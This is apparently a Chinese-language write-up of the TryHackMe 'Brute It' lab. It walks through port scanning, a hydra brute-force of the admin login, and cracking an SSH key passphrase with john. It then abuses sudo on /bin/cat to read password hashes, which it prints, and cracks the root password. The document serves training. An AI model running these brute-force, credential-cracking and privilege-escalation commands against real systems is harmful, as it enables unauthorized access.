Brute It -TryHackMe

一、信息收集

  • 使用nmap对网站ip开放端口进行搜集

image-20250913135553060

  • 使用dirsearch发现网站下面有个admin目录访问看看

image-20250913135423468

  • 是一个管理员登录界面

image-20250913135538822

  • 在这个页面右键源代码发现了给我们的提示，告诉我们这个网站的账户是admin，我们抓包使用yakit进行爆破

image-20250913135715601

二、枚举爆破

  • 接下来使用hydra对网站的密码进行爆破
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.255.234 http-post-form "/admin/:user=^USER^&pass=^PASS^&Login=Login:Username or password invalid"

image-20250913143441999

  • 拿到了账户密码去登录看看

image-20250913143518021

  • 这里告诉我们john的私钥，已经很明显了先讲私钥保存到本地在使用ssh2john将私钥转化成哈希值在使用john进行爆破

image-20250913143824543

  • 这里成功爆破出密码 rockinroll 使用ssh对john进行登录

image-20250913144329997

  • 我这里遇到了报错这里直接修改私钥权限就好了chmod 600 id_rsa
1
2
3
4
5
6
7
8
Permissions 0664 for 'id_rsa' are too open.
This private key will be ignored.
Load key "id_rsa": bad permissions
当前私钥 id_rsa 权限为 0664（所有者可读写，组可读，其他用户可读）

SSH 要求私钥 只能自己读写，不能被组或其他用户访问

因此 SSH 忽略了私钥，并回退到密码登录提示

image-20250913145917167

  • 在当前目录发现了user.txt

image-20250913150251761

三、提权

  • 使用sudo -l 看看有什么命令是以root方式启动的

image-20250913150456828

  • 这里可以/bin/cat 命令可以root 权限启动 在这里我们尝试读取/etc/passwd下面的hash值然后保存在使用john进行爆破

image-20250913150911471

image-20250913150927672

image-20250913150940252

1
2
$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.
$6$iODd0YaH$BA2G28eil/ZUZAV5uNaiNPE0Pa6XHWUFp7uNTp2mooxwa4UzhfC0kjpzPimy1slPNm9r/9soRw8KqrSgfDPfI0
  • 将root和john的hash保存为文件使用john爆破
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt password.txt

image-20250913151444050

  • 这里使用john爆破只爆破出来一个密码，尝试登录了一下发现是root的密码

image-20250913152204557

  • 直接查看根目录的root.txt文件

image-20250913152331034